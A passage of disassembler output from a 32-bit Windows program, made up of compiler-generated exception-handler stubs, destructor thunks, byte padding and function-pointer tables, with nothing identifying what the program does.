		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427740	proc near		; DATA XREF: sub_427740+2o
		mov	eax, offset dword_442A40
		jmp	sub_437AB8
SEH_427740	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CA28:				; DATA XREF: ___:00442A9Co
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4277B0	proc near		; DATA XREF: sub_4277B0+2o
		mov	eax, offset dword_442A70
		jmp	sub_437AB8
SEH_4277B0	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CA78:				; DATA XREF: ___:00442AECo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427850	proc near		; DATA XREF: sub_427850+2o
		mov	eax, offset dword_442AC0
		jmp	sub_437AB8
SEH_427850	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427990	proc near		; DATA XREF: sub_427990+2o
		mov	eax, offset dword_442B10
		jmp	sub_437AB8
SEH_427990	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427C90	proc near		; DATA XREF: sub_427C90+2o
		mov	eax, offset dword_442B40
		jmp	sub_437AB8
SEH_427C90	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427D50	proc near		; DATA XREF: sub_427D50+2o
		mov	eax, offset dword_442B70
		jmp	sub_437AB8
SEH_427D50	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4281A0	proc near		; DATA XREF: sub_4281A0+2o
		mov	eax, offset dword_442BA0
		jmp	sub_437AB8
SEH_4281A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428260	proc near		; DATA XREF: sub_428260+2o
		mov	eax, offset dword_442BD0
		jmp	sub_437AB8
SEH_428260	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428880	proc near		; DATA XREF: sub_428880+2o
		mov	eax, offset dword_442C00
		jmp	sub_437AB8
SEH_428880	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428940	proc near		; DATA XREF: sub_428940+2o
		mov	eax, offset dword_442C30
		jmp	sub_437AB8
SEH_428940	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4290B0	proc near		; DATA XREF: sub_4290B0+2o
		mov	eax, offset dword_442C60
		jmp	sub_437AB8
SEH_4290B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CBC8:				; DATA XREF: ___:00442CBCo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429120	proc near		; DATA XREF: sub_429120+2o
		mov	eax, offset dword_442C90
		jmp	sub_437AB8
SEH_429120	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CC28:				; DATA XREF: ___:00442D14o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4291E0	proc near		; DATA XREF: sub_4291E0+2o
		mov	eax, offset dword_442CE8
		jmp	sub_437AB8
SEH_4291E0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------


loc_43CC88:				; DATA XREF: ___:00442D6Co
		mov	ecx, [ebp-28h]
		add	ecx, 0A1h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429450	proc near		; DATA XREF: sub_429450+2o
		mov	eax, offset dword_442D40
		jmp	sub_437AB8
SEH_429450	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-53ECh]
		jmp	sub_4014BA
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5490h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5474h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-528Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-525Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-537Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-522Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-545Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5444h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-541Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5404h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-534Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-531Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43CDB2:				; DATA XREF: ___:004295B8o
		mov	eax, offset dword_442D80
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 44h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42ACB0	proc near		; DATA XREF: sub_42ACB0+2o
		mov	eax, offset dword_442E68
		jmp	sub_437AB8
SEH_42ACB0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AD90	proc near		; DATA XREF: sub_42AD90+2o
		mov	eax, offset dword_442E98
		jmp	sub_437AB8
SEH_42AD90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AFF0	proc near		; DATA XREF: sub_42AFF0+2o
		mov	eax, offset dword_442EC8
		jmp	sub_437AB8
SEH_42AFF0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B380	proc near		; DATA XREF: sub_42B380+2o
		mov	eax, offset dword_442EF8
		jmp	sub_437AB8
SEH_42B380	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B440	proc near		; DATA XREF: sub_42B440+8o
		mov	eax, offset dword_442F28
		jmp	sub_437AB8
SEH_42B440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C1B0	proc near		; DATA XREF: sub_42C1B0+5o
		mov	eax, offset dword_442F58
		jmp	sub_437AB8
SEH_42C1B0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_43CEB0:				; DATA XREF: ___:0042C2C5o
		mov	eax, offset dword_442FB8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43CEC8:				; DATA XREF: ___:00443044o
		lea	ecx, [ebp+8]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1A0h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C350	proc near		; DATA XREF: sub_42C350+2o
		mov	eax, offset dword_443018
		jmp	sub_437AB8
SEH_42C350	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C530	proc near		; DATA XREF: sub_42C530+2o
		mov	eax, offset dword_443058
		jmp	sub_437AB8
SEH_42C530	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------


loc_43CF28:				; DATA XREF: ___:0042C5D2o
		mov	eax, offset dword_443088
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C770	proc near		; DATA XREF: sub_42C770+2o
		mov	eax, offset dword_4430B8
		jmp	sub_437AB8
SEH_42C770	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4430E8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42CB70	proc near		; DATA XREF: sub_42CB70+8o
		mov	eax, offset dword_443118
		jmp	sub_437AB8
SEH_42CB70	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42CE60	proc near		; DATA XREF: sub_42CE60+2o
		mov	eax, offset dword_443148
		jmp	sub_437AB8
SEH_42CE60	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-74h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-70h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D0A4:				; DATA XREF: ___:0042D158o
		mov	eax, offset dword_4431A0
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_435AA0	proc near		; DATA XREF: sub_435AA0+2o
		mov	eax, offset dword_443288
		jmp	sub_437AB8
SEH_435AA0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-168Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D10B:				; DATA XREF: ___:004432ECo
		lea	ecx, [ebp-16A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D116:				; DATA XREF: ___:00435B98o
		mov	eax, offset dword_4432C0
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4364D0	proc near		; DATA XREF: sub_4364D0+2o
		mov	eax, offset dword_4432F8
		jmp	sub_437AB8
SEH_4364D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4368D0	proc near		; DATA XREF: sub_4368D0+2o
		mov	eax, offset dword_443328
		jmp	sub_437AB8
SEH_4368D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4369E0	proc near		; DATA XREF: sub_4369E0+8o
		mov	eax, offset dword_443360
		jmp	sub_437AB8
SEH_4369E0	endp

; ---------------------------------------------------------------------------
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллл',0
		align 4
		dd 31Bh	dup(0)
off_43F000	dd offset sub_4017D0	; DATA XREF: sub_403720+3FEo
off_43F004	dd offset dword_437AC0	; DATA XREF: sub_403CC0+2o
off_43F008	dd offset off_402027	; DATA XREF: sub_406BF0+2o sub_406C50o
off_43F00C	dd offset sub_40221B	; DATA XREF: ___:004070C5o
off_43F010	dd offset loc_40218F	; DATA XREF: sub_409BC0+4o
					; sub_409C20+Bo ...
off_43F014	dd offset loc_402045	; DATA XREF: sub_40AEA0+2o
					; sub_40AEF0+1Co
		dd offset dword_437AC0
		align 10h
off_43F020	dd offset loc_401AE1	; DATA XREF: ___:0040B1F8o
					; sub_40B250+1Eo
flt_43F024	dd 1.0			; DATA XREF: ___:0040B8A6r
off_43F028	dd offset sub_401A4B	; DATA XREF: sub_40F6D0+157o
					; sub_40FE70+1Do
		dd offset sub_402149
		dd 0
off_43F034	dd offset sub_401ACD	; DATA XREF: sub_40F6D0+142o
					; sub_40FE70+23o
off_43F038	dd offset loc_40115E	; DATA XREF: sub_411930+36o
					; sub_4119E0+1Do
		dd offset loc_402004
		dd 0
off_43F044	dd offset sub_4014C9	; DATA XREF: ___:0041325Do
					; sub_4132F0+1Fo
		dd offset sub_401D0C
		align 10h
off_43F050	dd offset sub_4019CE	; DATA XREF: sub_416D00+6o
					; sub_417EF0+8o
		dd offset sub_4020C7
		dd 0
off_43F05C	dd offset loc_401CAD	; DATA XREF: sub_416D60+6o
					; sub_417F20+8o
		dd offset sub_401230
		align 8
off_43F068	dd offset loc_401929	; DATA XREF: sub_416DC0o sub_41FCD0+8o
		dd offset sub_401CF3
		dd 0
off_43F074	dd offset sub_40111D	; DATA XREF: sub_416E10o
					; sub_4191B0+36o
off_43F078	dd offset loc_4014AB	; DATA XREF: sub_417CC0+68o
off_43F07C	dd offset sub_401064	; DATA XREF: sub_417D60+8Bo
off_43F080	dd offset sub_40138E	; DATA XREF: sub_417E30+74o
off_43F084	dd offset loc_401B81	; DATA XREF: sub_417F50+7Bo
off_43F088	dd offset loc_40204A	; DATA XREF: sub_418010+7Bo
off_43F08C	dd offset loc_401F3C	; DATA XREF: sub_4180D0+3Eo
off_43F090	dd offset sub_401FE1	; DATA XREF: sub_418150+8o
off_43F094	dd offset loc_401FF5	; DATA XREF: sub_418180+3Eo
off_43F098	dd offset sub_401E6A	; DATA XREF: sub_418200+3Eo
off_43F09C	dd offset loc_40100A	; DATA XREF: sub_418280+10o
off_43F0A0	dd offset loc_4010B4	; DATA XREF: sub_4182B0+4Bo
off_43F0A4	dd offset sub_401BB8	; DATA XREF: sub_418330+10o
off_43F0A8	dd offset sub_40171C	; DATA XREF: sub_418360+10o
off_43F0AC	dd offset sub_40161D	; DATA XREF: sub_418390+6Bo
dbl_43F0B0	dq -3.0517578125e-5	; DATA XREF: sub_4199C0+22r
		dd 0
off_43F0BC	dd offset sub_401B09	; DATA XREF: sub_41A110+Bo
					; sub_41A210+6o
off_43F0C0	dd offset sub_401E92	; DATA XREF: sub_41B0E0+Do sub_41B140o
off_43F0C4	dd offset sub_401406	; DATA XREF: ___:0041B4A2o
					; ___:0041B58Do
		dd offset sub_401686
		align 10h
off_43F0D0	dd offset loc_4019F6	; DATA XREF: sub_41D770+77o
					; sub_41D860+1Do
		dd offset sub_401C94
		dd 0
off_43F0DC	dd offset sub_4011FE	; DATA XREF: sub_427740+32o
		dd offset sub_401A78
		dd offset sub_401A50
		dd 0
off_43F0EC	dd offset loc_4016DB	; DATA XREF: sub_4277B0+6Ao
					; sub_427850+1Do
		dd offset sub_401A78
		dd offset dword_437AC0
		dd 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 1Ah,	40h, 0
		dd offset sub_401A78
		dd offset sub_401366
		dd 0
off_43F10C	dd offset sub_40182A	; DATA XREF: sub_4281A0+32o
		dd offset sub_401A78
		dd offset sub_401EB0
		dd 0
off_43F11C	dd offset sub_40224D	; DATA XREF: sub_428880+32o
		dd offset sub_401A78
		dd offset sub_401A14
		dd 0
off_43F12C	dd offset sub_401C3F	; DATA XREF: sub_4290B0+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4015B9
		dd 0
off_43F13C	dd offset loc_402086	; DATA XREF: sub_429120+7Ao
					; sub_4291E0+1Do
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset dword_437AC0
		dd 0
off_43F14C	dd offset sub_4021D5	; DATA XREF: sub_429450+4Bo
					; sub_429540+10o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset loc_401D3E
		dd 0
off_43F15C	dd offset loc_40112C	; DATA XREF: sub_42ACB0+32o
					; sub_42AD50+9o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_40137A
		dd 0
off_43F16C	dd offset loc_401B18	; DATA XREF: sub_42AFF0+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4010AF
		dd 0
